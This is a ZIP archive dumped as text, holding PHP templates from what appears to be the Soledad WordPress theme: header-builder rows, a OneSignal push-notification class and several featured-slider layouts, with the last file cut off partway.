PK     N\z:    )  inc/builder/template/desktop-topblock.phpnu [        <?php
$classes       = '';
$header_data   = $args['header_data'];
$content_width = penci_builder_validate_mod( $header_data, 'penci_header_topblock_content_width', 'container-fullwidth' );
$transparent   = penci_builder_validate_mod( $header_data, 'penci_header_topblock_transparent_background_color' );
$classes       .= 'enable' == $transparent ? 'bg-transparent' : 'bg-normal';
$classes       .= penci_can_render_header( 'desktop', 'topblock' ) ? ' pc-hasel' : ' pc-noel';
?>
<div class="penci_topblock penci-desktop-topblock pcmiddle-normal penci_container <?php echo esc_attr( $classes ); ?>">
    <div class="container <?php esc_attr_e( $content_width ); ?>">
        <div class="penci_nav_row">
			<?php
			$columns = [ 'center' ];

			foreach ( $columns as $column ) {

				$content_direction = penci_builder_validate_mod( $header_data, 'penci_header_topblock_content_direction', 'row' );
				$content_direction = $content_direction ? $content_direction : 'row';

				$setting_align = "penci_hb_align_desktop_topblock_{$column}";
				$align         = penci_builder_validate_mod( $header_data, $setting_align, $column );

				$setting_element = "penci_hb_element_desktop_topblock_{$column}";
				$elements        = penci_builder_validate_mod( $header_data, $setting_element, penci_header_default( "desktop_element_topblock_{$column}" ) );
				$elements        = $elements ? explode( ',', $elements ) : '';
				?>

                <div class="penci_nav_col penci_nav_<?php echo esc_attr( $column ); ?>  penci_content_<?php echo esc_attr( $content_direction ); ?> penci_nav_align<?php echo esc_attr( $align ); ?>">

					<?php
					if ( ! empty( $elements ) && is_array( $elements ) ) {
						foreach ( $elements as $element ) {
							if ( ! empty( $element ) && file_exists( PENCI_BUILDER_PATH . 'elements/' . $element . '/front-end.php' ) ) {
								load_template( PENCI_BUILDER_PATH . 'elements/' . $element . '/front-end.php', false, [ 'class_type'  => 'normal-header',
								                                                                                        'header_data' => $header_data
								] );
							}
						}
					}
					?>

                </div>

				<?php
			}
			?>
        </div>
    </div>
</div>
PK     N\k    #  inc/builder/template/mobile-top.phpnu [        <?php
$classes     = '';
$header_data = $args['header_data'];
$stick_class = penci_builder_validate_mod( $header_data, 'penci_header_mobile_topbar_sticky_setting', 'enable' );
$classes     .= 'enable' == $stick_class ? 'sticky-enable' : 'sticky-disable';
$classes     .= penci_can_render_header( 'mobile', 'top' ) ? ' pc-hasel' : ' pc-noel';

$middle_content = penci_builder_validate_mod( $header_data, 'penci_header_mobile_topbar_column', 'enable' );
$classes        .= 'enable' == $middle_content ? ' pcmiddle-center' : ' pcmiddle-normal';

$bgtrans = penci_builder_validate_mod( $header_data, 'penci_header_mobile_topbar_background_trans', 'enable' );
$classes .= 'enable' == $bgtrans ? ' bgtrans-enable' : ' bgnormal';
?>
<div class="penci_mobile_topbar penci-mobile-topbar penci_container <?php echo esc_attr( $classes ); ?>">
    <div class="container">
        <div class="penci_nav_row">
			<?php
			$columns = array( 'left', 'center', 'right' );

			foreach ( $columns as $column ) {
				$setting_align = "penci_hb_align_mobile_top_{$column}";
				$align         = penci_builder_validate_mod( $header_data, $setting_align, $column );

				$setting_element = "penci_hb_element_mobile_top_{$column}";
				$elements        = penci_builder_validate_mod( $header_data, $setting_element );
				$elements        = $elements ? explode( ',', $elements ) : '';
				?>

                <div class="penci_nav_col penci_nav_<?php echo esc_attr( $column ); ?> penci_nav_align<?php echo esc_attr( $align ); ?>">

					<?php
					if ( ! empty( $elements ) ) {
						foreach ( $elements as $element ) {
							if ( ! empty( $element ) && file_exists( PENCI_BUILDER_PATH . 'elements/' . $element . '/front-end.php' ) ) {
								load_template( PENCI_BUILDER_PATH . 'elements/' . $element . '/front-end.php', false, [ 'header_data' => $header_data ] );
							}
						}
					}
					?>

                </div>

				<?php
			}
			?>
        </div>
    </div>
</div>
PK     N\C  C  '  inc/builder/template/mobile-builder.phpnu [        <?php
$class       = [];
$header_data = $args['header_data'];
if ( 'enable' == penci_builder_validate_mod( $header_data, 'penci_header_mobile_sticky_shadow' ) ) {
	$class[] = 'shadow-enable';
}
if ( 'enable' == penci_builder_validate_mod( $header_data, 'penci_header_mobile_sticky_hide_down' ) ) {
	$class[] = 'hide-scroll-down';
}
if ( 'enable' == penci_builder_validate_mod( $header_data, 'penci_header_mobile_overlap_setting' ) ) {
	$class[] = 'mobile-overlap';
}
?>
<div class="penci_navbar_mobile <?php echo implode( ' ', $class ); ?>">
	<?php
	$rows = array( 'top', 'mid', 'bottom' );
	foreach ( $rows as $row ) {
		if ( penci_can_render_header( 'mobile', $row ) || is_customize_preview() ) {
			load_template( PENCI_BUILDER_PATH . 'template/mobile-' . $row . '.php', true, [ 'header_data' => $header_data ] );
		}
	}
	?>
</div>
PK     N\?F?    $  inc/builder/template/desktop-mid.phpnu [        <?php
$classes        = '';
$header_data    = $args['header_data'];
$middle_content = penci_builder_validate_mod( $header_data, 'penci_header_midbar_middle_column', 'enable' );
$content_width  = penci_builder_validate_mod( $header_data, 'penci_header_midbar_content_width', 'container' );
$transparent    = penci_builder_validate_mod( $header_data, 'penci_header_midbar_transparent_background_color' );
$classes        .= 'enable' == $transparent ? 'bg-transparent' : 'bg-normal';
$classes        .= 'enable' == $middle_content ? ' pcmiddle-center' : ' pcmiddle-normal';
$classes        .= penci_can_render_header( 'desktop', 'mid' ) ? ' pc-hasel' : ' pc-noel';
?>
<div class="penci_midbar penci-desktop-midbar penci_container <?php echo esc_attr( $classes ); ?>">
    <div class="container <?php esc_attr_e( $content_width ); ?>">
        <div class="penci_nav_row">
			<?php
			$columns = array( 'left', 'center', 'right' );

			foreach ( $columns as $column ) {
				$setting_align = "penci_hb_align_desktop_mid_{$column}";
				$align         = penci_builder_validate_mod( $header_data, $setting_align, $column );

				$setting_flex = "penci_hb_flex_desktop_mid_{$column}";
				$flex         = penci_builder_validate_mod( $header_data, $setting_flex, $column );


				$setting_element = "penci_hb_element_desktop_mid_{$column}";
				$elements        = penci_builder_validate_mod( $header_data, $setting_element, penci_header_default( "desktop_element_mid_{$column}" ) );
				$elements        = $elements ? explode( ',', $elements ) : '';
				?>

                <div class="penci_nav_col penci_nav_<?php echo esc_attr( $column ); ?> penci_nav_flex<?php echo esc_attr( $flex ); ?> penci_nav_align<?php echo esc_attr( $align ); ?>">

					<?php
					if ( ! empty( $elements ) && is_array( $elements ) ) {
						foreach ( $elements as $element ) {
							if ( ! empty( $element ) && file_exists( PENCI_BUILDER_PATH . 'elements/' . $element . '/front-end.php' ) ) {
								load_template( PENCI_BUILDER_PATH . 'elements/' . $element . '/front-end.php', false, [ 'header_data' => $header_data ] );
							}
						}
					}
					?>

                </div>

				<?php
			}
			?>
        </div>
    </div>
</div>
PK     N\хK	  K	  '  inc/builder/template/desktop-bottom.phpnu [        <?php
$header_data    = $args['header_data'];
$classes        = '';
$middle_content = penci_builder_validate_mod( $header_data, 'penci_header_bottombar_middle_column', 'enable' );
$content_width  = penci_builder_validate_mod( $header_data, 'penci_header_bottombar_content_width', 'container' );
$transparent    = penci_builder_validate_mod( $header_data, 'penci_header_bottombar_transparent_background_color' );
$classes        .= 'enable' == $transparent ? 'bg-transparent' : 'bg-normal';
$classes        .= 'enable' == $middle_content ? ' pcmiddle-center' : ' pcmiddle-normal';
$classes        .= penci_can_render_header( 'desktop', 'bottom' ) ? ' pc-hasel' : ' pc-noel';
?>
<div class="penci_bottombar penci-desktop-bottombar penci_navbar penci_container <?php echo $classes; ?>">
    <div class="container <?php esc_attr_e( $content_width ); ?>">
        <div class="penci_nav_row">
			<?php
			$columns = array( 'left', 'center', 'right' );

			foreach ( $columns as $column ) {
				$setting_align = "penci_hb_align_desktop_bottom_{$column}";
				$align         = penci_builder_validate_mod( $header_data, $setting_align, $column );
				
				$setting_flex = "penci_hb_flex_desktop_bottom_{$column}";
				$flex         = penci_builder_validate_mod( $header_data, $setting_flex, $column );


				$setting_element = "penci_hb_element_desktop_bottom_{$column}";
				$elements        = penci_builder_validate_mod( $header_data, $setting_element, penci_header_default( "desktop_element_bottom_{$column}" ) );
				$elements        = $elements ? explode( ',', $elements ) : '';
				?>

                <div class="penci_nav_col penci_nav_<?php echo esc_attr( $column ); ?> penci_nav_flex<?php echo esc_attr( $flex ); ?> penci_nav_align<?php echo esc_attr( $align ); ?>">

					<?php
					if ( ! empty( $elements ) && is_array( $elements ) ) {
						foreach ( $elements as $element ) {
							if ( ! empty( $element ) && file_exists( PENCI_BUILDER_PATH . 'elements/' . $element . '/front-end.php' ) ) {
								load_template( PENCI_BUILDER_PATH . 'elements/' . $element . '/front-end.php', false, [ 'class_type'  => 'normal-header',
								                                                                                        'header_data' => $header_data
								] );
							}
						}
					}
					?>

                </div>

				<?php
			}
			?>
        </div>
    </div>
</div>
PK     N\UJ2  2  /  inc/builder/template/desktop-sticky-wrapper.phpnu [        <?php
$header_data    = $args['header_data'];
$sticky_layout              = penci_builder_validate_mod( $header_data, 'penci_header_desktop_sticky_wrap_all' );
$sticky_layout_custom_width = penci_builder_validate_mod( $header_data, 'penci_header_desktop_sticky_wrap_width' );

$sticky_enable = false;
$sticky_row    = [ 'top', 'mid', 'bottom' ];
$classess      = [];
foreach ( $sticky_row as $row ) {
	if ( penci_can_render_header( 'desktop_sticky', $row ) ) {
		$sticky_enable = true;
	}
}
if ( 'enable' == penci_builder_validate_mod( $header_data, 'penci_header_desktop_sticky_shadow' ) ) {
	$classess[] = 'shadow-enable';
}
if ( 'enable' == penci_builder_validate_mod( $header_data, 'penci_header_desktop_sticky_hide_down' ) ) {
	$classess[] = 'hide-scroll-down';
}
if ( 'enable' == $sticky_layout ) {
	$classess[] = 'container pchb-boxed-layout';
}
if ( 'enable' == $sticky_layout && $sticky_layout_custom_width ) {
	$classess[] = $sticky_layout_custom_width;
}
if ( $sticky_enable || is_customize_preview() ):
	?>
    <div class="penci_header penci-header-builder penci_builder_sticky_header_desktop <?php echo implode( ' ', $classess ); ?>">
        <div class="penci_container">
            <div class="penci_stickybar penci_navbar">
				<?php
				foreach ( $sticky_row as $row ) {
					if ( penci_can_render_header( 'desktop_sticky', $row ) || is_customize_preview() ) {
						load_template( PENCI_BUILDER_PATH . 'template/desktop-sticky-' . $row . '.php', false, [ 'header_data' => $header_data] );
					}
				}
				?>
            </div>
        </div>
    </div>
<?php endif;
PK     N\(n    &  inc/builder/template/mobile-bottom.phpnu [        <?php
$classes        = '';
$header_data    = $args['header_data'];
$stick_class    = penci_builder_validate_mod( $header_data, 'penci_header_mobile_bottombar_sticky_setting', '' );
$middle_content = penci_builder_validate_mod( $header_data, 'penci_header_mobile_bottombar_middle_column', 'enable' );
$classes        .= 'enable' == $stick_class ? 'sticky-enable' : 'sticky-disable';
$classes        .= 'enable' == $middle_content ? ' pcmiddle-center' : ' pcmiddle-normal';
$classes        .= penci_can_render_header( 'mobile', 'bottom' ) ? ' pc-hasel' : ' pc-noel';
$bgtrans        = penci_builder_validate_mod( $header_data, 'penci_header_mobile_bottombar_background_trans', 'enable' );
$classes        .= 'enable' == $bgtrans ? ' bgtrans-enable' : ' bgnormal';
?>
<div class="penci_mobile_bottombar penci-mobile-bottombar penci_container <?php echo esc_attr( $classes ); ?>">
    <div class="container">
        <div class="penci_nav_row">
			<?php
			$columns = array( 'left', 'center', 'right' );

			foreach ( $columns as $column ) {
				$setting_align = "penci_hb_align_mobile_bottom_{$column}";
				$align         = penci_builder_validate_mod( $header_data, $setting_align, $column );


				$setting_element = "penci_hb_element_mobile_bottom_{$column}";
				$elements        = penci_builder_validate_mod( $header_data, $setting_element );
				$elements        = $elements ? explode( ',', $elements ) : '';
				?>

                <div class="penci_nav_col penci_nav_<?php echo esc_attr( $column ); ?> penci_nav_align<?php echo esc_attr( $align ); ?>">

					<?php
					if ( ! empty( $elements ) ) {
						foreach ( $elements as $element ) {
							if ( ! empty( $element ) && file_exists( PENCI_BUILDER_PATH . 'elements/' . $element . '/front-end.php' ) ) {
								load_template( PENCI_BUILDER_PATH . 'elements/' . $element . '/front-end.php', false, [ 'header_data' => $header_data ] );
							}
						}
					}
					?>

                </div>

				<?php
			}
			?>
        </div>
    </div>
</div>
PK     N\8:      inc/push_notification.phpnu [        <?php

class Penci_Push_Notification {


	/**
	 * Constructor
	 */
	public function __construct() {

		if ( ! defined( 'ONESIGNAL_PLUGIN_URL' ) ) {
			return;
		}

		add_action( 'wp_enqueue_scripts', [ $this, 'enqueue_assets' ] );
		add_filter( 'the_content', [ $this, 'render_ui' ] );
		add_action( 'admin_init', array( $this, 'post_category_filter' ) );
		add_action( 'penci_archive_after_posts', array( $this, 'render_single_category_form' ) );
	}

	public function enqueue_assets() {
		wp_enqueue_script(
			'penci-push-notification',
			PENCI_SOLEDAD_URL . '/js/notification.js',
			[ 'jquery' ],
			PENCI_SOLEDAD_VERSION,
			true
		);
	}

	public function post_category_filter() {
		if ( current_user_can( 'edit_posts' ) ) {
			add_filter( 'onesignal_send_notification', array( $this, 'send_notification_filter' ), 10, 4 );
		}
	}

	function send_notification_filter( $fields, $new_status, $old_status, $post ) {
		if ( $post->post_type != 'post' ) {
			return false;
		}

		$filters    = array();
		$categories = $this->get_post_category( $post->ID );

		for ( $i = 0; $i < sizeof( $categories ); $i ++ ) {
			$filters[] = array(
				'field'    => 'tag',
				'key'      => $categories[ $i ],
				'relation' => '=',
				'value'    => $categories[ $i ],
			);

			if ( $i < ( sizeof( $categories ) - 1 ) ) {
				$filters[] = array(
					'operator' => 'OR',
				);
			}
		}

		if ( sizeof( $filters ) > 0 ) {
			$filters[] = array(
				'operator' => 'OR',
			);
		}

		$filters[] = array(
			'field'    => 'tag',
			'key'      => 'all',
			'relation' => '=',
			'value'    => 'all',
		);

		$fields['included_segments'] = array();
		$fields['filters']           = $filters;

		return $fields;
	}

	public function get_post_category( $post_id ) {
		$result = array();

		$categories = wp_get_post_categories( $post_id );

		foreach ( $categories as $category ) {
			$category = get_term_by( 'id', $category, 'category' );
			$result[] = $category->slug;
		}

		return $result;
	}

	public function render_ui( $content ) {

		if ( ! is_single() ) {
			return $content;
		}

		$push_form = '';

		$penci_pushnt_sdesc = get_theme_mod( 'penci_pushnt_sdesc', 'Get real time update about this post category directly on your device, subscribe now.' );
		$btn_subscribe      = get_theme_mod( 'penci_pushnt_btntext', 'Subscribe' );
		$btn_unsubscribe    = get_theme_mod( 'penci_pushnt_unbtntext', 'Unsubscribe' );
		$btn_processing     = get_theme_mod( 'penci_pushnt_probtntext', 'Processing ...' );
		$post_category      = $this->get_post_category( get_the_ID() );

		$push_form .= '
                        <div class="penci_push_notification">
                            <div class="penci_push_notification_content"><p>' . esc_html( $penci_pushnt_sdesc ) . '</p></div>
                            <div class="penci_push_notification_button">
                                <input type="hidden" name="post-category" value="' . implode( ',', $post_category ) . '">
                                    <input type="hidden" name="button-subscribe" value="' . $btn_subscribe . '">
                                    <input type="hidden" name="button-unsubscribe" value="' . $btn_unsubscribe . '">
                                    <input type="hidden" name="button-processing" value="' . $btn_processing . '">
                                    <a data-action="subscribe" class="button" data-type="general" href="#">
                                        <i class="fa fa-bell"></i>
                                       ' . esc_html( $btn_subscribe ) . '
                                    </a>
                                </div>
                        </div>';


		return $content . $push_form;
	}

	public function render_single_category_form() {

		$category = get_queried_object();

		$penci_pushnt_sdesc = get_theme_mod( 'penci_pushnt_sdesc', 'Get real time update about this post category directly on your device, subscribe now.' );
		$btn_subscribe      = get_theme_mod( 'penci_pushnt_btntext', 'Subscribe' );
		$btn_unsubscribe    = get_theme_mod( 'penci_pushnt_unbtntext', 'Unsubscribe' );
		$btn_processing     = get_theme_mod( 'penci_pushnt_probtntext', 'Processing ...' );

		$output = '<div class="penci_push_notification"><div class="penci_push_notification_content">
                        <p>' . esc_html( $penci_pushnt_sdesc ) . '</p>
                        <div class="penci_push_notification_button">
                            <input type="hidden" name="post-category" value="' . esc_attr( $category->slug ) . '">
                            <input type="hidden" name="button-subscribe" value="' . esc_attr( $btn_subscribe ) . '">
                            <input type="hidden" name="button-unsubscribe" value="' . esc_attr( $btn_unsubscribe ) . '">
                            <input type="hidden" name="button-processing" value="' . esc_attr( $btn_processing ) . '">
                            <a data-action="unsubscribe" data-type="category" class="button" href="#">
                                <i class="fa fa-bell"></i>
                                ' . esc_html( $btn_unsubscribe ) . '
                            </a>
                        </div>
                    </div></div>';

		echo $output;
	}
}

new Penci_Push_Notification();PK     N\hyQ       inc/featured_slider/style-20.phpnu [        <?php
/**
 * Template part for Slider Style 20
 */

$feat_query = penci_get_query_featured_slider();
if ( ! $feat_query ) {
	return;
}
$slider_title_length = get_theme_mod( 'penci_slider_title_length' ) ? get_theme_mod( 'penci_slider_title_length' ) : 12;
$image_size          = get_theme_mod( 'featured_slider_imgsize' ) ? get_theme_mod( 'featured_slider_imgsize' ) : 'penci-thumb';
$image_size_big      = get_theme_mod( 'featured_slider_imgbig' ) ? get_theme_mod( 'featured_slider_imgbig' ) : 'penci-magazine-slider';

	$image_size_m = get_theme_mod( 'featured_slider_imgsize_mobile' ) ? get_theme_mod( 'featured_slider_imgsize_mobile' ) : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : ?>
    <div class="item swiper-slide">
        <div class="wrapper-item wrapper-item-classess">
			<?php $i   = 1;
			$num_posts = $feat_query->post_count;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$thumb = $image_size;
				if ( ( $i % 5 == 1 || $i % 5 == 2 ) && ! penci_is_mobile() ): $thumb = $image_size_big; endif;
				?>
                <div class="penci-item-mag penci-item-<?php echo( $i % 5 ); ?>">
	                <?php do_action( 'penci_bookmark_post' ); ?>
					<?php if ( ! get_theme_mod( 'penci_disable_lazyload_slider' ) ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(),$thumb,$image_size_m ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), penci_is_mobile() ? $image_size_m : $thumb ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>

                    <div class="penci-slide-overlay penci-slider6-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! get_theme_mod( 'penci_featured_slider_icons' ) && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>"
                               class="overlay-icon-format <?php if ( $i % 5 == 1 || $i % 5 == 2 ): echo ' lager-size-icon'; endif; ?>">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( get_theme_mod( 'penci_featured_meta_date' ) ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ! get_theme_mod( 'penci_featured_hide_categories' ) && get_theme_mod( 'penci_featured_show_categories' ) ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) || ! get_theme_mod( 'penci_featured_meta_date' ) || get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                    <div class="feat-meta">
										<?php if ( get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                            <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! get_theme_mod( 'penci_featured_meta_date' ) ): ?>
                                            <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) ): ?>
                                            <span class="feat-comments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

				<?php if ( $i % 5 == 0 && $i > 1 && $i < $num_posts ): echo '</div></div><div class="item swiper-slide"><div class="wrapper-item wrapper-item-classess">'; endif; ?>

				<?php $i ++; endwhile;
			wp_reset_postdata(); ?>
        </div>
    </div>
<?php endif; ?>
PK     N\R       inc/featured_slider/style-10.phpnu [        <?php
/**
 * Template part for Slider Style 10
 */

$feat_query = penci_get_query_featured_slider();
if ( ! $feat_query ) {
	return;
}
$slider_title_length = get_theme_mod( 'penci_slider_title_length' ) ? get_theme_mod( 'penci_slider_title_length' ) : 12;
$image_size          = get_theme_mod( 'featured_slider_imgsize' ) ? get_theme_mod( 'featured_slider_imgsize' ) : 'penci-thumb-vertical';

$image_size_mobile = get_theme_mod( 'featured_slider_imgsize_mobile' ) ? get_theme_mod( 'featured_slider_imgsize_mobile' ) : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : ?>
	<?php $i   = 1;
	$num_posts = $feat_query->post_count;
	while ( $feat_query->have_posts() ) : $feat_query->the_post();
		?>
        <div class="item swiper-slide">
            <div class="wrapper-item wrapper-item-classess">
                <div class="penci-item-mag penci-item-<?php echo( $i % 3 ); ?>">
	                <?php do_action( 'penci_bookmark_post' ); ?>
					<?php if ( ! get_theme_mod( 'penci_disable_lazyload_slider' ) ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(), $image_size, $image_size_mobile ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), penci_is_mobile() ? $image_size_mobile : $image_size ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>
                    <div class="penci-slide-overlay penci-slider7-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! get_theme_mod( 'penci_featured_slider_icons' ) && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>" class="overlay-icon-format">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( get_theme_mod( 'penci_featured_meta_date' ) ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ! get_theme_mod( 'penci_featured_hide_categories' ) && get_theme_mod( 'penci_featured_show_categories' ) ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) || ! get_theme_mod( 'penci_featured_meta_date' ) || get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                    <div class="feat-meta">
										<?php if ( get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                            <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! get_theme_mod( 'penci_featured_meta_date' ) ): ?>
                                            <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) ): ?>
                                            <span class="feat-comments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
		<?php $i ++; endwhile;
	wp_reset_postdata(); ?>
<?php endif; ?>
PK     N\%l       inc/featured_slider/style-32.phpnu [        <?php
/**
 * Template part for Slider Style 32
 */
$image_size = get_theme_mod( 'featured_slider_imgsize' ) ? get_theme_mod( 'featured_slider_imgsize' ) : 'penci-full-thumb';
if ( penci_is_mobile()) {
	$image_size = get_theme_mod( 'featured_slider_imgsize_mobile' ) ? get_theme_mod( 'featured_slider_imgsize_mobile' ) : 'penci-masonry-thumb';
}
$number = get_theme_mod( 'penci_featured_slider_slides' );
if ( ! $number ): $number = - 1; endif;
$penci_slider_height = get_theme_mod( 'penci_featured_penci_slider_height' );
if ( ! $penci_slider_height || ! is_numeric( $penci_slider_height ) ): $penci_slider_height = 550; endif;
$orderby = 'menu_order';
if ( get_theme_mod( 'penci_featured_slider_random' ) ):
	$orderby = 'rand';
endif;

$featured_args = array(
	'post_type'      => 'penci_slider',
	'order'          => 'ASC',
	'orderby'        => $orderby,
	'posts_per_page' => $number
);

$feat_query = new WP_Query( $featured_args );
?>
<?php if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) : $feat_query->the_post(); ?>
	<?php
	/* Get data of this slide */
	$image_url       = get_post_meta( $post->ID, '_penci_slider_image', true );
	$image_url       = ! $image_url ? '' : $image_url;
	$slider_title    = get_post_meta( $post->ID, '_penci_slider_title', true );
	$slider_title    = ! $slider_title ? '' : $slider_title;
	$caption         = get_post_meta( $post->ID, '_penci_slider_caption', true );
	$caption         = ! $caption ? '' : $caption;
	$button_text     = get_post_meta( $post->ID, '_penci_slider_button', true );
	$button_text     = ! $button_text ? '' : $button_text;
	$title_color     = get_post_meta( $post->ID, '_penci_slider_title_color', true );
	$title_style     = ! $title_color ? '' : ' style="color: ' . $title_color . '"';
	$title_bgcolor   = get_post_meta( $post->ID, '_penci_slider_title_bgcolor', true );
	$title_bgcolor   = ! $title_bgcolor ? '' : ' style="background-color: ' . penci_cover_hex_to_rgb( $title_bgcolor, '0.4' ) . '"';
	$caption_color   = get_post_meta( $post->ID, '_penci_slider_caption_color', true );
	$caption_style   = ! $caption_color ? '' : ' style="color: ' . $caption_color . '"';
	$caption_bgcolor = get_post_meta( $post->ID, '_penci_slider_caption_bgcolor', true );
	$caption_bgcolor = ! $caption_bgcolor ? '' : ' style="background-color: ' . penci_cover_hex_to_rgb( $caption_bgcolor, '0.4' ) . '"';
	$button_bg       = get_post_meta( $post->ID, '_penci_slider_button_bg', true );
	$button_bg       = ! $button_bg ? '' : 'background: ' . $button_bg . ';';
	$button_color    = get_post_meta( $post->ID, '_penci_slider_button_text_color', true );
	$button_color    = ! $button_color ? '' : 'color: ' . $button_color;
	$animation       = get_post_meta( $post->ID, '_penci_slide_element_animation', true );
	$animation       = ! $animation ? 'fadeInUp' : $animation;

	$style_button = '';
	if ( ! empty( $button_bg ) || ! empty( $button_color ) ): $style_button = ' style="' . $button_bg . $button_color . '"'; endif;
	$button_html = $button2_html = '';

	if ( ! empty( $button_text ) ) {
		$button_html = '<div class="penci-button"><a class="pencislider-button"' . $style_button . '>' . sanitize_text_field( do_shortcode( $button_text ) ) . '</a></div>';
		$button_url  = get_post_meta( $post->ID, '_penci_slider_button_url', true );
		$button_url  = ! $button_url ? '' : $button_url;
		if ( ! empty( $button_url ) ):
			$button_html = '<div class="penci-button"><a class="pencislider-button"' . $style_button . ' href="' . esc_url( do_shortcode( $button_url ) ) . '">' . sanitize_text_field( do_shortcode( $button_text ) ) . '</a></div>';
		endif;
	}
	$slider_align = get_post_meta( $post->ID, '_penci_slide_alignment', true );
	$slider_align = ! $slider_align ? 'center' : $slider_align;

	$buttonlink_url  = get_post_meta( $post->ID, '_penci_slider_button_url', true );
	$open_link_html  = '';
